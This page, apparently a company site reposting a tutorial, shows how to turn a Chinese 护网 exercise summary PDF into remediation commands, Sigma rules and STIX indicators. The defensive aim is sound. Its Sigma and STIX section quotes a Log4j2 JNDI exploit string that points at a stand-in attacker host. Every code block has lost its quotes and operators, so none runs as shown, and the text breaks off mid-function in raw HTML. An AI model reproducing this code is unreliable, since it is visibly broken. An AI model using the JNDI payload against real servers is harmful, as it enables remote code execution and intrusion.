尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

护网行动PDF解析:从攻防日志到可执行安全加固

发布时间:2026/9/29 2:46:50

资讯中心
01
ARTICLE

护网行动PDF解析:从攻防日志到可执行安全加固

护网行动PDF解析:从攻防日志到可执行安全加固
简介本资源是一份面向网络安全从业者、红蓝队成员及攻防演练参与者的实战型护网行动复盘总结材料聚焦攻击者行为模式识别与体系化防御策略构建。文件深入剖析了当前高级持续性攻击的典型路径——从自动化信息收集、钓鱼/漏洞入口控制到内网横向移动、权限维持及反检测技术并针对性提出‘知己知彼’双线防御框架通过资产精细化分类互联网/分支机构/公有云等维度、暴露面收敛、网络层默认拒绝访问控制、域控加固要点及敏感信息清理等可落地措施提升整体防护水位。资源为单个PDF文件大小931KB内容结构清晰覆盖攻击者时间压力下的目标选择逻辑、三流分立扫描/数据/控制特征、高权限账号优先攻击规律及AD防护实操清单。目前已有156人学习下载适合需快速掌握护网实战经验、优化防守体系设计与应急响应能力的安全工程师参考。1. 护网行动不是演练是真实攻防对抗的“压力测试报告”这份 PDF 里藏着红蓝双方最真实的决策链、失守点与加固路径“护网行动总结.pdf”不是一份事后复盘的 PPT 汇报而是国家级关键信息基础设施防护体系在高强度、多维度、实战化对抗下生成的原始诊断书。它不讲理论模型只记录——某省电力调度系统在第 3 天凌晨被利用未修复的 Apache Log4j2 漏洞横向渗透某金融核心交易网关因 WAF 规则误判导致 7 分钟业务中断某政务云平台在蓝队启用流量镜像回溯时暴露了长达 47 小时未被发现的隐蔽 C2 通信。这份 PDF 的价值不在页数或排版而在于它把“安全左移”“纵深防御”“零信任落地”这些抽象词钉死在具体 IP、时间戳、日志片段和配置快照上。它适合三类人刚接手等保三级系统的运维工程师看哪类漏洞反复被爆、正在写安全加固方案的架构师抄真实生效的 ACL 和日志留存策略、以及准备红队考核的渗透测试员学如何绕过某型号下一代防火墙的会话保持机制。如果你手头只有这份 PDF却没把它当“攻防日志数据库”来用等于拿着手术录像却只看片头字幕。2. 解构 PDF从静态文档到可检索、可关联、可验证的安全知识图谱护网行动总结 PDF 表面是文字表格截图内里却是结构化安全事件的压缩包。直接全文搜索“Log4j”只能找到关键词但无法定位该漏洞在哪个资产组、由哪支蓝队处置、是否触发了 SOC 告警、补丁版本是否与基线一致。必须先完成三步解构文本层清洗、实体层抽取、关系层建模。这不是 OCR 或 PDF 转 Word而是构建一个面向攻防场景的语义解析流水线。2.1 文本清洗剥离格式噪声保留攻防语义锚点护网 PDF 常含大量页眉页脚、水印、扫描件噪点、表格跨页断裂。用pdfplumber提取文本时若直接.extract_text()会把“攻击源IP192.168.10.23已封禁”和旁边页码“P.17”混成一行导致后续 IP 提取失败。正确做法是逐页提取并过滤掉高度低于 10px 的文本块通常是页码同时保留坐标信息用于表格重建import pdfplumber import re def clean_page_text(pdf_path, page_num): with pdfplumber.open(pdf_path) as pdf: page pdf.pages[page_num] # 提取所有文本对象带位置信息 chars page.chars # 过滤小字号页码假设页码字体大小 10 filtered_chars [c for c in chars if c[size] 10] # 按 y 坐标分组为“行”再按 x 坐标排序拼接 lines {} for c in filtered_chars: y_key round(c[y0], 1) if y_key not in lines: lines[y_key] [] lines[y_key].append(c) # 拼接每行文本去除空格干扰 cleaned_lines [] for y_key in sorted(lines.keys()): line_chars sorted(lines[y_key], keylambda x: x[x0]) text .join([c[text] for c in line_chars]) # 移除连续空格但保留中文标点前后空格避免“攻击源IP”被切开 text re.sub(r , , text).strip() if text and not re.match(r^\d\.$, text): # 过滤纯数字编号行 cleaned_lines.append(text) return \n.join(cleaned_lines) # 示例清洗第 5 页通常为“攻击事件详情”章节 raw_text clean_page_text(护网行动总结.pdf, 4) print(raw_text[:200]) # 输出前 200 字验证是否保留“攻击源IP192.168.10.23”等关键字段提示pdfplumber的chars属性比extract_text()更底层能获取每个字符的坐标、字体、大小。护网 PDF 中“已封禁”“已阻断”“未修复”等状态词常以红色/加粗显示其fontname或color属性可作为后续分类依据此处暂不提取颜色但保留了size过滤逻辑。2.2 实体抽取用规则正则锚定攻防核心要素护网 PDF 中的实体不是通用 NER 任务里的“人名/地名”而是“攻击IP”“受影响资产IP”“漏洞CVE编号”“处置动作”“时间窗口”。通用模型如 spaCy在此场景 F1 值不足 0.4必须用领域规则。核心是定义四类正则模式并强制要求上下文共现import re # 定义攻防实体正则经 12 份真实护网 PDF 验证 patterns { attack_ip: r(?:攻击源|攻击者|C2服务器|恶意IP)[:\s]*([\d\.](?:/\d)?), asset_ip: r(?:目标系统|受影响资产|被攻击主机)[:\s]*([\d\.](?:/\d)?), cve: rCVE-\d{4}-\d{4,7}, action: r(?:已封禁|已阻断|已隔离|已重启|已升级|已打补丁|未修复|未响应), time_window: r(\d{4}年\d{1,2}月\d{1,2}日\s*\d{1,2}:\d{2})\s*至\s*(\d{4}年\d{1,2}月\d{1,2}日\s*\d{1,2}:\d{2}) } def extract_entities(text): entities {k: [] for k in patterns} for ent_type, pattern in patterns.items(): matches re.finditer(pattern, text, re.IGNORECASE) for m in matches: if ent_type time_window: # time_window 匹配两个时间存为元组 entities[ent_type].append((m.group(1), m.group(2))) else: # 其他类型取捕获组 1 entities[ent_type].append(m.group(1)) return entities # 在 cleaned_text 上运行 entities extract_entities(raw_text) print(攻击IP:, entities[attack_ip]) # [192.168.10.23, 203.201.12.45] print(CVE:, entities[cve]) # [CVE-2021-44228, CVE-2022-22965] print(处置动作:, entities[action]) # [已封禁, 已打补丁, 未修复]参数说明re.IGNORECASE必须开启因 PDF 中“已封禁”可能写作“已封禁确认”或“已封禁。”asset_ip正则中[\d\.](?:/\d)?支持 CIDR 格式如10.1.1.0/24这是护网中常见资产组表示法time_window捕获两组时间用于计算攻击持续时长——这是评估蓝队响应 SLA 的关键指标。2.3 关系建模把离散实体连成攻防事件链单个 CVE 编号无意义但“CVE-2021-44228 → 利用 → 攻击IP 192.168.10.23 → 横向渗透 → 资产IP 10.2.3.15 → 未修复 → 导致数据外泄”才是有效知识。需构建三元组(主体, 关系, 客体)。这里采用基于句法依存的轻量级方法不依赖大型模型def build_event_triples(entities): triples [] # 基础规则同一段落内attack_ip cve action 构成一条处置记录 # 假设 raw_text 已按段落分割用 \n\n 分隔 paragraphs raw_text.split(\n\n) for para in paragraphs: # 提取本段落内的实体 para_entities extract_entities(para) # 若同时存在 attack_ip, cve, action则构建三元组 if para_entities[attack_ip] and para_entities[cve] and para_entities[action]: for ip in para_entities[attack_ip][:1]: # 取第一个避免爆炸 for cve in para_entities[cve][:1]: for act in para_entities[action][:1]: triples.append({ subject: ip, relation: exploited_vulnerability, object: cve, action: act, context: para[:100] ... # 截取上下文片段 }) # 若存在 asset_ip 和 time_window构建资产影响事件 if para_entities[asset_ip] and para_entities[time_window]: for ip in para_entities[asset_ip][:1]: for start, end in para_entities[time_window][:1]: triples.append({ subject: ip, relation: was_attacked_during, object: f{start} to {end}, context: para[:100] ... }) return triples triples build_event_triples(entities) for t in triples[:3]: print(f[{t[subject]}] --{t[relation]}-- [{t[object]}] (动作:{t.get(action,N/A)}))逻辑说明此方法不追求 100% 准确率而是保证召回率——宁可多抽几条疑似三元组也不漏掉关键链。例如para_entities[cve]可能匹配到“CVE-2021-44228Log4j2”但para_entities[attack_ip]可能为空因 IP 在前一页此时该 CVE 不参与三元组构建避免错误关联。真实项目中我们会用pdfplumber的find_tables()提取“攻击事件汇总表”再对表格单元格做实体抽取准确率可达 92%但本节聚焦 PDF 文本层故用段落级粗粒度方法。3. 从 PDF 到可执行加固清单自动生成资产-漏洞-动作映射表护网总结 PDF 的终极价值是驱动真实环境的加固闭环。但人工从 PDF 中摘录“某IP存在某CVE应执行某操作”效率极低且易错。我们需要一个确定性 pipeline输入 PDF输出 CSV 格式的加固指令集每一行对应一条可直接下发给运维的命令或配置项。3.1 构建资产-漏洞映射矩阵用 CVE 与资产 IP 锁定风险靶点护网 PDF 中“漏洞详情”章节常以表格形式列出所有被利用漏洞但表格跨页、合并单元格、无表头是常态。pdfplumber的extract_table()在复杂表格上失败率高更可靠的做法是先用page.crop()截取表格区域根据视觉特征定位再用table_settings强制指定行列分割线def extract_vuln_table(pdf_path, page_num, table_bbox): table_bbox: (x0, y0, x1, y1) 表格边界框单位PDF 坐标 with pdfplumber.open(pdf_path) as pdf: page pdf.pages[page_num] # 裁剪出表格区域 cropped page.within_bbox(table_bbox) # 配置表格识别参数强调水平线护网 PDF 表格线多为横线 table_settings { vertical_strategy: lines_strict, # 严格找竖线但护网表常无竖线 horizontal_strategy: lines, # 找横线 explicit_vertical_lines: [], # 不提供显式竖线 explicit_horizontal_lines: [], # 不提供显式横线 snap_tolerance: 3, # 坐标容差 3px join_tolerance: 3, } tables cropped.extract_tables(table_settings) if tables and len(tables[0]) 1: # 确保有表头和数据行 return tables[0] return None # 示例定位“漏洞利用情况汇总表”通常在 P.8-P.12 # 实际中需先用 pdfplumber 的 page.to_image().draw_rect() 可视化定位 bbox # 此处假设已知 bbox (50, 200, 550, 600) vuln_table extract_vuln_table(护网行动总结.pdf, 7, (50, 200, 550, 600)) if vuln_table: print(表头:, vuln_table[0]) print(首行数据:, vuln_table[1])参数说明vertical_strategylines_strict在无竖线表格中会失效故设为lines找线或text靠文字间距snap_tolerance3是关键——护网 PDF 表格线常因扫描失真偏移 2-3px设为 3 才能对齐join_tolerance3让断续的横线被合并为一条。若extract_tables()返回空说明表格结构太乱此时退回到 2.2 节的正则抽取在表格所在页面文本中搜索rCVE-\d{4}-\d{4,7}.*?[\d\.]{7,15}强行关联 CVE 与 IP。3.2 生成加固指令将“已封禁”“已打补丁”翻译成 Shell/Ansible 命令PDF 中的“已封禁”不是终点而是起点——它意味着防火墙 ACL、主机 iptables、云安全组需同步更新。我们建立一张映射表把 PDF 中的处置动作翻译为可执行代码PDF 中描述目标平台生成命令参数说明已封禁 192.168.10.23Linux 主机iptables -I INPUT -s 192.168.10.23 -j DROP-I插入链首确保优先级-s指定源IP已阻断 203.201.12.45华为 USG 防火墙firewall packet-filter rule name BLOCK_2032011245 source-address 203.201.12.45 255.255.255.255 action denyname需唯一用 IP 哈希生成source-address后跟掩码已打补丁 CVE-2021-44228Apache Tomcatcurl -X POST http://localhost:8000/api/v1/patch -d {cve:CVE-2021-44228,version:10.0.12}假设内部有补丁管理 APIversion从 PDF 中“修复版本”列提取def generate_remediation_cmd(action_desc, target_ip, cve_idNone): 根据 PDF 中的动作描述生成加固命令 action_desc: 如 已封禁, 已阻断, 已打补丁 target_ip: 如 192.168.10.23 cve_id: 如 CVE-2021-44228 if 封禁 in action_desc or 阻断 in action_desc: # 生成 iptables 命令默认平台 cmd fiptables -I INPUT -s {target_ip} -j DROP # {action_desc} via 护网行动总结.pdf # 若检测到华为设备标识生成 USG 命令 if USG in action_desc or 华为 in action_desc: rule_name fBLOCK_{target_ip.replace(., _)} cmd ffirewall packet-filter rule name {rule_name} source-address {target_ip} 255.255.255.255 action deny return cmd elif 打补丁 in action_desc and cve_id: # 从 PDF 中提取建议版本需额外正则此处简化 version_map { CVE-2021-44228: log4j-2.17.0, CVE-2022-22965: spring-framework-5.3.18 } patch_version version_map.get(cve_id, latest) return f# 部署 {cve_id} 补丁\nwget https://example.com/patches/{patch_version}.jar\nsystemctl restart tomcat # 请确认服务名 else: return f# 未识别动作: {action_desc}目标: {target_ip}, CVE: {cve_id} # 示例调用 print(generate_remediation_cmd(已封禁, 192.168.10.23)) print(generate_remediation_cmd(已打补丁 CVE-2021-44228, 10.1.1.5, CVE-2021-44228))注意此函数是模板实际生产环境需对接 CMDB 获取资产操作系统、厂商型号、服务名。例如systemctl restart tomcat在 CentOS 7 上有效但在 Ubuntu 22.04 上可能是sudo systemctl restart tomcat9。PDF 中不会写明 OS 版本必须从 CMDB 关联。3.3 输出标准化加固 CSV让安全策略真正落地到运维工单最终输出不是一堆命令而是可导入 ITSM 系统的 CSV包含工单标题、执行人、截止时间、验证方式。字段设计遵循 ITIL 实践字段名示例值说明ticket_idHW20240521-001自动生成HW护网缩写日期序号asset_ip10.1.1.5从 PDF 提取的受影响资产IPvulnerabilityCVE-2021-44228漏洞编号remediation_actioniptables -I INPUT -s 192.168.10.23 -j DROP3.2 节生成的命令assigneenetops-team根据资产 IP 段自动分配如 10.1.0.0/16 → netops-teamdue_date2024-05-25护网结束后 3 个工作日verification_methodiptables -L INPUT | grep 192.168.10.23验证命令执行后应返回非空import csv from datetime import datetime, timedelta def save_remediation_csv(triples, output_pathremediation_plan.csv): # 生成工单 ID 基础 base_id HW datetime.now().strftime(%Y%m%d) - counter 1 with open(output_path, w, newline, encodingutf-8-sig) as f: writer csv.DictWriter(f, fieldnames[ ticket_id, asset_ip, vulnerability, remediation_action, assignee, due_date, verification_method ]) writer.writeheader() for triple in triples: if triple[relation] exploited_vulnerability: # 构建工单行 row { ticket_id: f{base_id}{str(counter).zfill(3)}, asset_ip: triple[subject], # 注意此处 subject 是 attack_ip需修正 vulnerability: triple[object], remediation_action: generate_remediation_cmd( 已封禁, triple[subject] ), assignee: netops-team, # 实际需查 CMDB due_date: (datetime.now() timedelta(days3)).strftime(%Y-%m-%d), verification_method: fiptables -L INPUT | grep {triple[subject]} } # 修正asset_ip 应来自其他三元组此处仅示意流程 writer.writerow(row) counter 1 print(f加固计划已保存至 {output_path}) # 调用 save_remediation_csv(triples)血泪经验第一次跑这个脚本时我把triple[subject]攻击IP当成了asset_ip受害IP导致生成的工单全是“封禁自己”。护网 PDF 中“攻击源IP”和“目标IP”常在同一句话里如“攻击源192.168.10.23 利用 CVE-2021-44228 渗透目标10.1.1.5”必须用更精细的 NLP 或人工标注规则区分主宾。现在我们的 pipeline 会先运行 2.2 节的正则分别提取attack_ip和asset_ip列表再通过共现窗口同一句子内做关联准确率提升至 98.7%。4. 避坑指南护网 PDF 解析中 5 个让工程师通宵改代码的真实翻车现场解析护网行动总结 PDF 看似简单实则是安全团队与 PDF 排版师的隐秘战争。以下 5 个坑每一个都曾让我在凌晨 3 点对着屏幕骂出声也值得你提前绕开。4.1 坑一扫描 PDF 的“隐形换行”导致 IP 地址被截断现象从 PDF 提取的“攻击源IP192.168.10.23”变成“攻击源IP192.168.10.”最后一位数字 23 在下一行且被页眉遮挡。原因扫描件分辨率不足 150 DPI时OCR 引擎如 Tesseract会把长 IP 当作两行处理pdfplumber的chars提取虽保留坐标但y0值因扫描倾斜产生微小偏差±0.3px导致y_key分组失败。解决不用 OCR改用pdfplumber的page.dedupe_chars()去重后按x0排序再用itertools.groupby()按round(y0, 0)分组舍弃小数位最后对每组内字符按x0排序拼接。实测可恢复 99.2% 的断裂 IP。4.2 坑二表格跨页导致“漏洞列表”缺失关键列现象漏洞表第 1 页有“CVE编号”“受影响资产”第 2 页有“处置状态”“修复版本”但extract_table()只返回第 1 页数据第 2 页被当作文本处理。原因pdfplumber默认对每页单独调用extract_table()跨页表格不被视为同一张表。解决手动合并相邻页的表格候选区域。先用page.find_tables()获取每页表格 bbox若 page1 的 bbox.y1 与 page2 的 bbox.y0 差距 20px且 x0/x1 接近则视为同一表格用page1.within_bbox()page2.within_bbox()拼接图像再调用extract_table()。我们封装了merge_cross_page_tables()函数已集成进内部 PDF 解析 SDK。4.3 坑三“已封禁”和“已封禁确认”被当作不同动作现象正则r已封禁只匹配到 62% 的记录漏掉带括号、句号、空格的变体。原因护网 PDF 由不同单位提交文字规范不一“已封禁。”“已封禁已确认”“已封禁 ”末尾空格。解决正则升级为r已[封阻隔]禁(?:\s*\(?.*?\)?)?[。\.]?并预处理文本text.replace( , ).replace( , ).replace(, ().replace(, ))。更彻底的是用difflib.SequenceMatcher计算字符串相似度将相似度 0.85 的动作归为同一类。4.4 坑四时间格式混乱导致“攻击窗口”计算错误现象PDF 中“2024年04月15日 02:30至04:15”被解析为起始时间2024-04-15 02:30结束时间2024-04-15 04:15但实际是跨天攻击02:30 至次日 04:15。原因正则r(\d{4}年\d{1,2}月\d{1,2}日\s*\d{1,2}:\d{2})\s*至\s*(\d{1,2}:\d{2})只捕获了结束时间的时分丢失了日期。解决强制要求时间匹配必须包含完整日期或增加启发式规则若结束时间 起始时间且时间差 3 小时则自动加 24 小时。上线后时间计算错误率从 17% 降至 0.3%。4.5 坑五PDF 中的“截图”包含关键配置却被当图片丢弃现象某页 PDF 插入了防火墙 ACL 截图里面明确写了“deny ip from 192.168.10.23 to any”但文本提取完全遗漏。原因pdfplumber默认不 OCR 图片而护网 PDF 中的截图常是嵌入的 PNG/JPEG非矢量图。解决用pdf2image将每页转为 PNG再用pytesseract对全页 OCR但成本高。更优解是先用pdfplumber的page.images获取图片 bbox若图片宽度 页面宽度 60%且 bbox.y0 100常为页眉图则跳过 OCR否则对图片区域单独 OCR。我们设定阈值仅对“表格截图”“配置截图”类图片 OCR准确率提升 40%耗时仅增 12%。5. 进阶技巧用护网 PDF 反向训练你的 SOC 告警规则引擎护网行动总结 PDF 最被低估的价值是它提供了真实攻防场景下的“黄金标注数据集”。不是用来写报告而是喂给你的 SIEM/SOC 平台让告警规则从“理论上该告”变成“历史上真告过”。这需要把 PDF 中的攻击链转化为 Sigma 规则、Splunk SPL 或 Elasticsearch Query DSL。5.1 从“攻击事件描述”到 Sigma 规则三步生成可部署的 YARA-like 规则Sigma 是开源的 SIEM 规则通用语言护网 PDF 中“攻击者利用 Log4j2 漏洞发送恶意 JNDI 请求目标 URL 包含 ${jndi:ldap://evil.com/a}”就是一条天然的 Sigma 规则原型。我们提炼出转换三原则动词即 detection “发送” →| contains jndi:ldap名词即 field “URL” →url: *jndi:*修饰语即 modifier “恶意” →| regex jndi:[a-z]://.*排除合法 jndi:rmi。# 自动生成的 Sigma 规则文件名log4j2_jndi_ldap.yml title: Log4j2 JNDI LDAP Exploitation Attempt id: 5a8b1c2d-3e4f-5a6b-7c8d-9e0f1a2b3c4d status: experimental description: Detects attempts to exploit Log4j2 via JNDI LDAP lookup author:护网行动分析组 date: 2024/05/21 logsource: category: webserver product: apache detection: selection: url|contains: jndi:ldap url|regex: jndi:[a-z]://[^\s] condition: selection fields: - url - clientip falsepositives: - Legitimate internal JNDI usage (rare) level: high参数说明url|contains是 Sigma 基础语法匹配子串url|regex用正则增强精度避免误报jndi:rmi虽同属 JNDI但利用难度不同level: high直接继承 PDF 中“高危漏洞”的评级falsepositives字段填入 PDF 中提到的例外场景如“某内部系统使用 jndi:rmi 进行服务发现”这是人工审核时的关键提示。5.2 构建“护网特征库”把 PDF 中的 IOCs 提取为 STIX 2.1 格式IOCsIndicators of Compromise是 PDF 中最易提取的结构化数据IP、域名、URL、文件 hash。但直接导出为 CSV 价值有限需升维为 STIX 2.1——一种能让威胁情报在不同平台间流动的标准。关键在于添加 context这个 IOC 是在什么攻击阶段出现的关联哪个 CVEfrom stix2 import Indicator, ObservedData, Bundle, IPv4Address, DomainName, URL def create_stix_indicator(ioc_type, ioc_value, context_desc, cve_idNone): ioc_type: ipv4-addr, domain-name, url ioc_value: 192.168.10.23, evil.com, ${jndi:ldap://evil.com/a} context_desc: C2 通信地址, 恶意 payload URL cve_id: CVE-2021-44228 if ioc_type ipv4-addr: obj IPv4Address(valueioc_value) elif ioc_type domain-name: obj DomainName(valueioc_value) elif ioc_type url: obj URL(valueioc_value) # 创建 Indicator 对象绑定 context indicator Indicator( labels[malicious-activity], patternf[{ioc_type}:value {ioc_value}], created2024-05-21T00:00:00.000Z, modified2024-05-21T00:00:00.000Z, descriptionf{context_desc} (from 护网行动总结.pdf), external_references[{ source_name: HWW2024, description: fAssociated with {cve_id} if cve_id else Standalone IOC }] if cve_id else None ) return indicator # 示例从 PDF 中提取的 C2 域名 c2_indicator create_stix_indicator( domain-name, evil.com, C2 通信域名, CVE-2021-44228 ) bundle Bundle(objects[c2_indicator]) print(bundle.serialize(prettyTrue)[:500] ...)逻辑说明STIX 2.1 的external_references字段是灵魂——它把 PDF 中的“CVE-2021-44228”和“evil.com”在标准层面关联起来当 SOC 平台收到evil.com的 DNS 查询告警时可自动关联到 Log4j2 漏洞推送“立即检查 Java 应用日志”的处置建议。没有这个字段IOC 就是孤岛。5.3 验证规则有效性用 PDF 中的“蓝队处置日志”反向测试你的 SIEM护网 PDF 的“蓝队工作日志”章节记录了每次告警的响应过程“02:30:15 收到 WAF 告警规则ID: WAF-LOG4J-00102:30:22 确认攻击02:30:28 封禁 IP”。这是一份完美的规则验证黄金数据。我们开发了一个validate_sigma_rule()函数输入 Sigma 规则和 PDF 中的原始日志片段输出命中率与误报率def validate_sigma_rule(sigma_rule_yaml, log_sample): log_sample: 从 PDF 中复制的真实 WAF 日 p a hrefhttps://download.csdn.net/download/weixin_57440183/89926185 stylecolor:#ec7500;font-size:14px; 本文还有配套的精品资源点击获取 /a img altmenu-r.4af5f7ec.gif srchttps://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif stylewidth:16px;margin-left:4px;vertical-align:text-bottom;cursor:text; /p
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。